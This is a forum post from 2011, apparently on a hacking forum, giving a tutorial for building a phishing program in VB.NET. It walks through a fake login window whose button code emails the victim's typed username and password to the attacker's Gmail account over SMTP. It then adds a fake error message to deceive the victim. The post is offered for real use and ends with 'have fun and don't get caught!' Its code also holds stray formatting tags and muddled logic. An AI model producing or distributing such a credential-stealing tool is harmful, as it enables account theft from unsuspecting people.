__Dj_-k1ll3r__
Super Moderator
Posts : 63
Points : 187
Reputation : 0
Join date : 2011-07-18
 | | Subject: How to make a phisher in VB.NET Fri Jul 29, 2011 12:59 pm | |
| This tutorial will explain how to make a phishing program using Visual Basic .NET.
First things first, you will need to create a new project and name it whatever you want. In this example I will name it MyFirstPhisher.
For the interface, you will need to add: 2 labels, 2 text boxes, and 1 button. Incase this is your first time using VB, you can accomplish this by clicking and dragging these items from the toolbox to your application.
At this point you should have something that looks like this:
Now you want to change the text of the labels and the button to say 'Username', 'Password', and 'Login'. At this time it would also be a good idea to change the title of your application. You can do this by changing the 'Text' property in the properties window.
Now you should have something that looks like this:
Congrats! You have now made the interface for your phisher!
Now on to the more technical part, the coding.
I'm not gonna go through and explain every line, but most of it should be pretty self-explanitory what its doing.
So what you will first need to do is double click the login button that you made, which should bring up a screen that looks like this:
[URL="https://2img.net/h/i152.photobucket.com/albums/s174/rockbomb/PhishingTut/CodingScreen.png"]https://2img.net/h/i152.photobucket.com/albums/s...dingScreen.png[/URL]
This is the screen where you will be doing all of the coding for your project.
To explain a little about what we're going to do with the code, we are going to set this up to send you an email containing the victim's username and password. In order to do that, we have to set up a new email message, and then establish a connection to google's SMTP server (You can use a different SMTP server if you wish, but for this tutorial I will be using Gmail.)
Here's the code we're going to be using:
Quote: Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Button1(start button):
If TextBox1.Text = "" Then[/SIZE] [SIZE=4]
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Missing")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
End Sub You will need to enter your gmail account information where is says 'YourEmailHere@gmail.com' and 'YourPasswordGoesHere'.
You now have a working phisher, go ahead and click the debug button and try it out!
We're not done though, theres one more thing we are going to cover in this tutorial. To add a little realism to your program, we're going to add a fake error message. To do that we're going to enter the following code after the "SMTPServer.Send(mymailmessage)" line:MsgBox("Insert your error message here.") You can change the text in between the quotes to whatever you want. Your coding screen should now look like this: And thats it! You now have a fully functioning phishing program! rquoise]
Now obviously you can't send this to somebody as-is and expect them to put any kind of user/pass in there, so you will need to add graphics and other stuff to make it a convincible program.
Hope this tutorial helps, have fun and don't get caught!
Added By Biron
| |
|
